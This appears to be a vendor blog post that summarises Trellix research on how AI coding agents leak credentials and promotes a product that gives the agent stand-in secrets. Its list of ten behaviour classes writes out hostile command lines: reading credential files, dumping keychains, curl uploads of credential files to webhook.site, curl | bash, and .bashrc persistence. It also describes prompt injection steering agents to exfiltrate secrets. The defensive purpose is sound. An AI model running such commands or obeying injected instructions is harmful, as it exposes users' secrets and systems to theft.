The transcript kept the token
On October 14, Trellix published research on what it calls the unseen credential surface: coding agents take secrets out of the keychain, put them on the command line, in shell history and in their own transcripts, and send them to the model provider, all as a side effect of ordinary work. Trellix lists ten classes of behavior, each done with a trusted binary, and says single-event telemetry can't tell them apart from a developer or an attacker. In Bromure Agentic Coding, every copy the agent makes is a stand-in, and the real value only exists on the Mac, on the wire, for the host it belongs to.
The token started in the keychain. One curl command later it was in the process table, the agent's transcript and a model provider's logs.
You ask your agent to "pull my profile from the Graph API." It finishes without asking you for a password. It calls a helper that decrypts your saved OAuth token from the keystore, and then it runs:
curl -H "Authorization: Bearer eyJ0eXAiOiJKV1Q..." https://graph.microsoft.com/v1.0/me
The request works. Along the way the token has landed in your endpoint telemetry, in the process table where other local programs can read it, in the agent's transcript on disk, and in the context window the agent sends to its model provider with the next turn.
That example opens The Unseen Credential Surface, published by Haowei Ren of Trellix on Tuesday, October 14. Cyber Security News covered it the next day. The research describes no exploit and no malware. It follows what agents do to secrets during an ordinary working day. Trellix starts from the assumption that an agent handles your credentials "as carefully as a good engineer would," and answers: "It does not. This is not due to malicious intent. It is architectural."
Five steps down
Trellix arranges every place a secret can live on a ladder, from safest to most exposed:
- Locked away, in Keychain, DPAPI or Credential Manager.
- In memory, inside one process.
- On the command line, readable by monitoring and other local processes, and often saved to shell history.
- Written to disk: shell history, config files, "and the agent's own transcript."
- Off the machine: committed, pushed, uploaded, "or sent to the model provider."
Agents move secrets down this ladder because that is the shortest path to a
finished task. One step is new with agents. When you run cat .env, the
secret appears on your screen. When the agent runs it, "the contents enter
its context window and are sent to an external model provider, where they
may be permanently logged." Trellix sums it up: "Human errors stay inside
your walls; agent operations do not."
Ten ordinary commands
The research sorts the behavior into ten classes. Each example is a command you have typed yourself:
- Credentials as arguments:
curl -u,kubectl --token=…,mysql -p…. - Credential files read:
cat .env,~/.aws/credentials,~/.kube/config,~/.git-credentials,~/.docker/config.json. - Keychains asked for plain text:
security find-generic-password -w,gh auth token,git credential fill. - The environment dumped:
env,printenv | grep -iE 'key|token'. - TLS checks switched off:
curl -k,NODE_TLS_REJECT_UNAUTHORIZED=0,git -c http.sslVerify=false. - Secrets shipped out:
git add .env && git push,curl --data @~/.aws/credentials,gh gist create. - Hidden execution:
base64 -d | bash,curl | bash,eval "$(curl …)". - Persistence: lines appended to
~/.bashrcor the crontab. - New credentials minted:
ssh-keygen -N "", then the key added toauthorized_keys. - Cloud vaults read out:
aws secretsmanager get-secret-value,vault kv get,kubectl get secret.
Each class runs a trusted, signed binary that the same machine runs thousands of times a day for good reasons. A rule that fires when "a process read a .env file" fires on the editor, the linter and the test runner. Trellix's conclusion: "No step in the attack is missing from normal activity. A hunt tuned to catch it tends to fire on everyone or no one."
Trellix names prompt injection as the step from exposure to breach. The agent already reads secrets and sends data out. A poisoned README, issue or web page only has to point those habits at a host the attacker runs.
Keep the secret on the top rung
Trellix's fixes all reduce to one sentence: "Keep secrets on the top steps, or make an exposed secret worthless fast." Bromure Agentic Coding does both.
The agent runs in a Linux VM on your Mac. The real secrets stay in the Mac's
encrypted vault, under a master key in the Data Protection Keychain, and
never enter the VM. The VM gets stand-ins shaped like the real thing:
ghp_ plus 36 characters for a GitHub token, sk-ant-api03-brm-… for an
Anthropic key, brm-k8s-… for a cluster token, brm_… for anything you
import from a .env file. Every HTTPS request the VM makes goes to a proxy
on the Mac, which swaps the stand-in for the real value only when the
request is bound for the host that credential belongs to.
So the agent can walk a token down all five steps. What reaches the command line, the shell history, the transcript and the model provider is the stand-in. The real value exists in one more place: the request the Mac re-encrypts toward the credential's own host.
The ten classes in a Bromure machine
Run the same agent, with the same habits, in a Bromure machine. All ten classes still run, and each one comes back with less than it went for.
Arguments, files, keychains and the environment
The first four classes read a secret from a keystore, a file or the environment and put it on a command line. In the VM, all four find the same stand-ins.
env and printenv print stand-ins. ~/.git-credentials,
~/.docker/config.json and the synthetic ~/.kube/config hold stand-ins.
A project .env that you imported with Import env file… in the
machine's Credentials pane holds stand-ins under the same variable names,
and your code reads them as before. gh auth token returns a ghp_ stand-in.
~/.aws/config points at a helper that hands out the access key ID paired
with a 40-character fake secret key. The AWS CLI signs with the fake, and the
Mac strips that signature and re-signs with the real key on the way out.
The top step of Trellix's ladder, the OS keystore, sits on the Mac, outside
the VM. Inside, security find-generic-password has no Keychain to ask. The vsock
channels that carry tokens between host and VM run one way: the host writes
stand-ins in, and there is no request by which the VM can ask for a real
token back.
SSH works the same way with no token. SSH_AUTH_SOCK in the VM is a bridge
to an agent on the Mac. git push over SSH gets its signature, and
ls ~/.ssh/id_* finds no private key.
The agent can paste any of these values into curl -H, log them, echo them
into a script or quote them back to the model. Trellix asks agent builders to
"redact credential-shaped strings before they enter the LLM context window."
A Bromure machine meets that request before the agent opens the file: the
file holds a stand-in from the start.
TLS checks switched off
Inside the VM, TLS ends at the Bromure proxy, under a certificate from a
per-install CA that only your machines trust. The proxy opens its own
connection to the real server through macOS's TLS stack, which validates the
genuine certificate whatever the agent passed to curl. So curl -k or
NODE_TLS_REJECT_UNAUTHORIZED=0 waives the check on Bromure's own
certificate, and the Mac still checks the server.
The one way to skip upstream validation is a header,
X-bromure-insecure: yes, meant for a private-CA server. On such a request
the proxy injects no real credential and sends only stand-ins, and the
Security Timeline records the use as an Upstream TLS row.
Secrets shipped out
curl --data @~/.git-credentials https://webhook.site/… uploads a file of
stand-ins. The proxy scans every outbound request, headers and body, for any
stand-in heading to a host other than the one it was minted for. A GitHub
stand-in on its way to webhook.site gets HTTP 451, nothing is forwarded,
the VM pauses, and the Mac shows This environment may have been
compromised, with the token preview, the credential's name, the host it
belongs to and the host the agent sent it to.
git push and gh gist create go to GitHub, where the token belongs. New
machines start with the GitHub write policy at Prompt before write, so
the push and the gist each pause for a dialog on the Mac that shows the
operation, and you choose whether it proceeds. If you allow it, the file the
agent committed holds stand-ins.
Hidden execution
base64 -d | bash hides the command from process telemetry, which records
only the wrapper. Any request the payload makes still leaves the VM through
the proxy: its requests meet the same stand-in scan, the
Outbound connections firewall in the machine's Guardrails pane, and
the trace. At the default tracing level, AI request details, the Mac
keeps every exchange with the model provider, encrypted, and the Trace
Inspector lists each tool call with its input, including the curl | bash
line as the model wrote it.
Persistence and new keys
A line appended to ~/.bashrc lands in the VM's home. Rewind home…
rolls that home back to an earlier checkpoint. The Mac's shell startup files
are on the other side of the boundary.
An agent stuck at a passphrase prompt runs ssh-keygen -N "" to get
unblocked. In a Bromure machine the SSH bridge already signs with the
machine's key, so git over SSH works on the first try and the agent meets
no prompt to get around. Registering a new key with GitHub is a write to the
GitHub API, and it waits at the same Prompt before write dialog as a
push.
Cloud vaults read out
aws secretsmanager get-secret-value needs a SigV4 signature, and only the
Mac can produce one. Turn on Require approval to use for the AWS
credential in Guardrails and the first signing in a session waits for
Allow for 5 minutes, Allow for 1 hour, Allow for the rest of the
session or Don't allow. The same switch exists for each Kubernetes
context, so kubectl get secret waits until you say yes. Every AWS
signing appears in the Security Timeline as a Credential used row with a
masked access key.
For a database the agent queries over HTTP, such as the Mongo Data API,
ClickHouse or Elasticsearch, you can drop the vault lookup: add the
endpoint under Credentials → Databases, the VM gets a brm-db-…
stand-in, and the proxy swaps it in the request body as well as the headers.
The sequence, tied to the agent
Trellix argues that the useful unit of detection is a sequence, credential access, then use, then egress, "tied back to the agent process that started the chain." Its recommendations for deployers end with short-lived tokens, locked-down egress, and treating every machine that runs an agent as "high-value, secret-handling infrastructure."
In Bromure, that unit is the machine: one VM with its own agent sessions.
The Security Timeline puts every credential swap, exfiltration block,
firewall verdict, write-policy decision and AWS signing in one table with a
Workspace column, so the chain for one machine reads top to bottom. The
trace for that machine holds the tool calls that produced each request.
bromure-cli trace leaks lists the requests that carried a token to the
wrong host.
The Mac also keeps token lifetimes short. Subscription sign-ins for Claude, Codex, Grok and Kimi refresh on the host about five minutes before expiry, and the VM never holds a refresh token. A value stored as a 1Password reference is re-resolved every two minutes, so a rotation in 1Password reaches the proxy without a restart. Set Unmatched traffic to Deny in the firewall and the machine reaches only the hosts you list.
Every copy is a stand-in
Environment, config files, imported .env values, gh and AWS CLI output: all stand-ins. Whatever the agent puts on a command line, in a transcript or in its context window is worthless off the wire.
The real value lives on the Mac
Secrets stay in an encrypted vault keyed in the Data Protection Keychain. The proxy swaps them in only for the host each one was minted for. SSH keys sign through a bridge and never enter the VM.
A stand-in in the wrong place stops the machine
A stand-in headed for any other host gets a 451, the VM pauses, and the Mac names the token, its home and its destination.
One timeline per machine
Swaps, blocks, firewall verdicts, write approvals and AWS signings sit in the Security Timeline, and the trace holds the tool calls behind them.
A working day
Trellix calls agents "one of the largest credential-handling systems in the modern enterprise," built by accident. You never chose to put the Graph token in a transcript. The agent needed it in a header, and it wrote the header on a command line.
Your agent will keep running env to debug a connection and cat .env to
understand a project, whichever model or prompt you give it. Run it where
those commands return stand-ins. For the alarm a
stand-in raises when it leaves for the wrong host, read The agent leaked its
own key and The key was your .env
file.